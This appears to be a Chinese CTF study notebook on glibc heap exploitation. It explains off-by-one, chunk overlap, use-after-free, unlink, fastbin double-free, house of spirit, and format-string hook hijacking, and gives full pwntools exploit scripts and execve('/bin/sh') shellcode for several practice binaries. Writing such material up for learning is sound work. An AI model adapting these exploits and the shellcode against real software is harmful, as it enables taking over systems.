pwn学习笔记

off-by-one 3-2-1

实验在关闭aslr时进行

  1. libc基址的计算可以不用mmap而泄露printf这种函数的地址吗

不可以,因为需要修改book2的地址,利用mmap可以一举两得

思路

  1. 通过off-by-one泄露book1_stru指针,可以计算book2_stru的地址
  2. 再通过off-by-one修改book1_stru的指针,此时book1_stru指针的desc字段指向book1自己
  3. 编辑book1,使desc和name字段指向book2_stru的name字段
  4. 泄露book2_stru地址,由于book2_stru是mmap的,所以和libc_base的差相同
  5. 修改book1_stru的desc字段,使book2的name字段指向binsh,desc字段指向__free_hook
  6. 修改book2_stru的desc字段为system,现在是__free_hook的地址
  7. 释放book2_stru,由于free(name),前面又已经hook了free函数

Chunk Extend/Overlapping

字符串信息 glibc 2.23 edit函数中存在off-by-one漏洞

void edit_heap(){
    int idx ;
    char buf[4];
    printf("Index :");
    read(0,buf,4);
    idx = atoi(buf);
    if(idx < 0 || idx >= 10){
    	puts("Out of bound!");
    	_exit(0);
    }
    if(heaparray[idx]){
    	printf("Content of heap : ");
    	read_input(heaparray[idx]->content,heaparray[idx]->size+1);
    	puts("Done !");
    }else{
    	puts("No such heap !");
    }
}

在申请24字节数据时会使用下一个堆块的prev_size存储当前堆块的数据,这种情况下就可以溢出到下一堆块的size字段。覆盖为0x41,即包含两个堆块

释放掉第二个堆块,此时分别得到0x20和0x40的两个chunk,0x40包含0x20的,再次创建0x30堆块,即得到0x20指向0x40,编辑0x40中的内容,即可更改0x20中的指针,实现任意地址读写的目的

exp

from pwn import *
import os
from LibcSearcher import *

# context.log_level='debug'
pname='./heapcreator'
p=process(pname)
elf=ELF(pname)
libc=ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
context.terminal=['gnome-terminal','-x','sh','-c']
# gdb.attach(p)

def create(size,content):
    p.sendline('1')
    p.recvuntil('Size of Heap :')
    p.sendline(str(size))
    p.recvuntil('Content of heap:')
    p.sendline(content)
def edit(index,content):
    p.sendline('2')
    p.recvuntil('Index :')
    p.sendline(str(index))
    p.recvuntil('Content of heap : ')
    p.sendline(content)
def delete(index):
    p.sendline('4')
    p.recvuntil('Index :')
    p.sendline(str(index))

create(24,'a')
create(16,'a')
create(16,'a')

edit(0,'/bin/sh\x00'.ljust(24,'a')+'\x41')
delete(1)
create(0x30,'a')
# gdb.attach(p)
edit(1,b'\x00'*32+p64(8)+p64(elf.got['free']))
# show
p.sendline('3')
p.recvuntil('Index :')
p.sendline('1')
p.recvuntil('Content : ')
free_address=u64(p.recvuntil('\nDone')[:-5].ljust(8,b'\x00'))
p.recv()
info('free_addr: 0x%x'%free_address)
libc_base=free_address-libc.sym['free']
info('libc_base: 0x%x'%libc_base)
sys_addr=libc_base+libc.sym['system']
edit(1,p64(sys_addr))
delete(0)

p.interactive()

User After Free

思路

  1. 增加两个note,content都是32大小
  2. 释放两个note,此时两个content进入同一个fastbin,两个note结构体进入同一个fastbin,但是notelist没有置为NULL,所以还可以打印
  3. 申请一个新的content为8字节大小的note,此时由于fastbin后进先出,新的note为之前1,content指向之前的0
  4. 把新note的content覆盖为magic函数地址,此时0的print地址变为magic,打印0的内容实际上是调用magic
from pwn import *
import os
from LibcSearcher import *
from six import print_

# context.log_level='debug'
pname='./hacknote'
p=process(pname)
elf=ELF(pname)
# libc=ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
context.terminal=['gnome-terminal','-x','sh','-c']
# gdb.attach(p)

def create(size,content):
    p.sendline('1')
    # print(p.recv())
    p.recvuntil('Note size :')
    p.sendline(str(size))
    p.recvuntil('Content :')
    p.sendline(content)

def delete(index):
    p.sendline('2')
    p.recvuntil('Index :')
    p.sendline(str(index))
def print_note(index):
    p.sendline('3')
    p.recvuntil('Index :')
    p.sendline(str(index))
    print(p.recv())

magic=0x8048986
create(32,'aaa')
create(32,'a')
delete(0)
delete(1)
gdb.attach(p)
# create(8,p32(magic))
# print_note(0)
p.interactive()

爆破canary

  1. 子进程canary和父进程相同,同一进程各个线程canary相同
  2. 因为canary是低地址到高地址的,所以地位变化不会影响高位,可以逐位爆破

思路:

  1. 申请三个堆块,创建稍大的堆确保释放时加入unsorted bin
  2. 由于程序没有setbuf,所以puts、fgets之类的库函数会在堆块中留下一些buffer。所以申请三个堆块让后两个相邻
  3. 在第二个堆块处伪造一个堆块,覆盖第三个堆块,让free函数执行时误认为chunk2_fake和chunk3需要合并,并且将原本存储chunk2的地址改为存储heap_list的基址。即将chunk2从“链表”中取出时触发unlink,即FD->bk=BK,BK->FD=fd
  4. 部署一系列的got函数地址
  5. 将free_got替换为puts_got,调用free时即触发了puts(puts_got),泄露puts地址
  6. 将atoi_got替换为puts地址

payload

from pwn import *
import os
from LibcSearcher import *

context.log_level='debug'
pname='./stkof_patch'
p=process(pname)
elf=ELF(pname)
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.terminal=['gnome-terminal','-x','sh','-c']
# gdb.attach(p)

def create(size):
    p.sendline('1')
    p.sendline(str(size))
    p.recvuntil('OK')

def delete(index):
    p.sendline('3')
    p.sendline(str(index))
    p.recvuntil('OK')
def edit(index,content):
    p.sendline('2')
    p.sendline(str(index))
    p.sendline(str(len(content)))
    p.send(content)
    p.recvuntil('OK')

create(0x100)
create(0x30)
create(0x80)

edit(2,p64(0)+p64(0x30)+p64(0x602138)+p64(0x602140)+b'a'*0x10+p64(0x30)+p64(0x90))
delete(3)
edit(2,p64(0)+p64(0)+p64(elf.got['puts'])+p64(elf.got['atoi'])+p64(elf.got['free'])+p64(elf.got['puts']))
edit(3,p64(elf.plt['puts']))
# gdb.attach(p)
p.sendline('3')
p.sendline('1')
# sleep(1)
p.recv()
puts_addr=u64(p.recv()[:6].ljust(8,b'\x00'))
info('puts_addr: 0x%x'%puts_addr)
libc_base=puts_addr-libc.sym['puts']
info('libc_base:0x%x'%libc_base)
sys_addr=libc_base+libc.sym['system']
info('sys_addr:0x%x'%sys_addr)
edit(2,p64(sys_addr))
p.sendline('/bin/sh\x00')
p.interactive()

fastbin attack-double free

思路:

  1. 申请两个相同大小的堆块
  2. 释放两个堆块,第一个重复释放两次。此时得到bin: chunk1->chunk2->chunk1
  3. 申请一个堆块,修改为0x60202a。那么+16之后是printf的后6个字节(试试strtol:不行,因为再次分配时会考虑chunk的大小,如果不匹配会corrupt)
  4. 随便输入一个数字,调用gg函数
from pwn import *
import os
from LibcSearcher import *

context.log_level='debug'
pname='./paper'
p=process(pname)
elf=ELF(pname)
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.terminal=['gnome-terminal','-x','sh','-c']
# gdb.attach(p)

def add(index,length,content):
    p.sendline('1')
    p.recvuntil('Input the index you want to store(0-9):')
    p.sendline(str(index))
    p.recvuntil('How long you will enter:')
    p.sendline(str(length))
    p.recvuntil('please enter your content:')
    p.sendline(content)
    p.recvuntil('add success!')
def delete(index):
    p.sendline('2')
    p.recvuntil('which paper you want to delete,please enter it\'s index(0-9):')
    p.sendline(str(index))
    p.recvuntil('delete success !')

add(1,0x30,'a')
add(2,0x30,'a')

delete(1)
delete(2)
delete(1)

add(1,0x30,p64(0x60202a))

add(1,0x30,'a')
add(1,0x30,'a')
add(1,0x30,b'\x40\x00\x00\x00\x00\x00'+p64(elf.sym['gg']))
# gdb.attach(p)

p.sendline('a')
p.interactive()

一些crash的原因

因为system时rsp+0x40处必须是0x10对齐的,否则就会crash

可以改变payload长度、填充ret或栈迁移

与malloc和free有关的格式化字符串漏洞

当输出和输入含有较多字符时,printf和scanf会调用malloc分配相关内存,输出后会调用free释放内存。可以尝试覆盖malloc_hook或free_hook劫持控制流

libc.address可以设定libc基址

#!/usr/bin/env python
# coding=utf-8
from pwn import *
import os
from LibcSearcher import *

context.log_level='debug'
pname='./EasiestPrintf_patch'
p=process(pname)
elf=ELF(pname)
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc32=ELF('/lib/i386-linux-gnu/libc.so.6')
context.terminal=['gnome-terminal','-x','sh','-c']
# gdb.attach(p)

p.recvuntil('Which address you wanna read:\n')
p.sendline(str(elf.got['puts']))
puts_addr=int(p.recvuntil('\n')[:-1],base=16)
success('puts_addr:0x%x'%puts_addr)
libc_base=puts_addr-libc32.sym['puts']
success('libc_base:0x%x'%libc_base)
sys_addr=libc_base+libc32.sym['system']
success('sys_addr:0x%x'%sys_addr)
free_hook=libc_base+libc32.sym['__free_hook']
success('free_hook:0x%x'%free_hook)
libc32.address=libc_base
p.recvuntil('Good Bye\n')

writes = {0x804a04c :u32('sh;a'),libc32.symbols['__malloc_hook']:libc32.symbols['system']}

width = 0x804a04c - 0x20
payload_1 = fmtstr_payload( offset = 7,writes = writes,numbwritten = 0,write_size = 'byte')
log.info('payload_1 is:%s'% payload_1)
payload_2 = bytes('%{}c'.format(width),encoding='utf-8') # printf是一个%号一输出,遇到比较长的就会malloc。这里传递了0x804a04c-0x20地址进去,是因为printf调用malloc时会多分配0x20个字节,所以最终printf会调用malloc(0x804a04c-0x20+0x20),也就是system('sh;a')
log.info('payload_2 is:%s'% payload_2)
payload =payload_1+ payload_2

gdb.attach(p)
log.info('payload is:%s'% payload)
log.info('payload len:%s'%len(payload))
p.sendline(payload)

p.interactive()

fastbin attack-house of spirit

漏洞

  1. 读取name时泄露ebp
  2. 400a29中读取money时覆盖指针

exp思路

  1. 获取ebp
  2. 将shellcode读取在buf中,并覆盖dst指向shellcode起始位置;使用\x00阻止strcpy
  3. free chunk,再malloc chunk,此时得到了上一个地址+0x10的位置
  4. 更改ebp指向的地址为栈上shellcode的地址
0     : xor esi, esi
2     : movabs rbx, 0x68732f2f6e69622f
12     : push rsi
13     : push rbx
14     : push rsp
15     : pop rdi
16     : push 0x3b
18     : pop rax
19     : xor edx, edx
21     : syscall

shellcode如上

用到house of spirit的地方:构造一个满足free函数验证的chunk

from pwn import *

context.log_level='debug'
context.terminal=['gnome-terminal','-x','sh','-c']
pname='./pwn200'
p=process(pname)
# p=gdb.debug(pname)
elf=ELF(pname)

libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

p.recvuntil('who are u?')
p.send('a'*0x30)
p.recvuntil('a'*0x30)
r=p.recv(6)
rbp=u64(r.ljust(8,b'\x00'))
success('ebp:0x%x'%rbp)
'''
rbp1=dd40
rbp2=dc90
'''
shellcode = b"\x00\x31\xf6\x48\xbb\x2f\x62\x69\x6e"
shellcode += b"\x2f\x2f\x73\x68\x56\x53\x54\x5f"
shellcode += b"\x6a\x3b\x58\x31\xd2\x0f\x05"

code_addr=0x7ffe50232d20
aebp=0x7ffe50232de0

payload=(shellcode+p64(0)*2+p64(0x41)).ljust(0x38,b'\x00')+p64(rbp-0x90)
p.sendlineafter('give me your id ~~?\n',str(0x31)) # 注意这里glibc的_int_free内有一个检查
'''
    if (have_lock
        || ({ assert (locked == 0);
    	  mutex_lock(&av->mutex);
    	  locked = 1;
    	  chunk_at_offset (p, size)->size <= 2 * SIZE_SZ
    	    || chunksize (chunk_at_offset (p, size)) >= av->system_mem;
'''

# 而且经过调试,这里读取的数据就是读取到了p+0x40的地方,所以这个数字必须符合要求,不然free会报错

p.sendafter('give me money~\n',payload)
p.sendlineafter('\n=======EASY HOTEL========\n1. check in\n2. check out\n3. goodbye\nyour choice :','2')
p.recvuntil('out~')
p.sendlineafter('\n=======EASY HOTEL========\n1. check in\n2. check out\n3. goodbye\nyour choice :','1')
payload=p64(0)*3+p64(rbp-0xc0+1)
p.sendlineafter('how long?',str(0x30)) # 这里必须是0x30,否则malloc分配不到伪造的chunk
p.sendafter('give me more money : ',payload)
p.sendlineafter('=======EASY HOTEL========\n1. check in\n2. check out\n3. goodbye\nyour choice :','3')
p.interactive()

fast bin attack--alloc to stack

在栈上伪造堆块,插入链表

fast bin attack--arbitrary alloc

不局限于栈,任意位置。比如_malloc_hook附近,通过错位的方法绕过size域的检查,然后malloc

关闭栈随机

cat /proc/sys/kernel/random_va_space
# 2
sysctl -a --pattern randomize
# 2
# 0--关闭
# 1--半随机
# 2--全随机
# https://joydig.com/linux-address-space-layout-randomization/

关闭alsr后发现一直变化的段地址位置(直接调试看结果不就好了。。)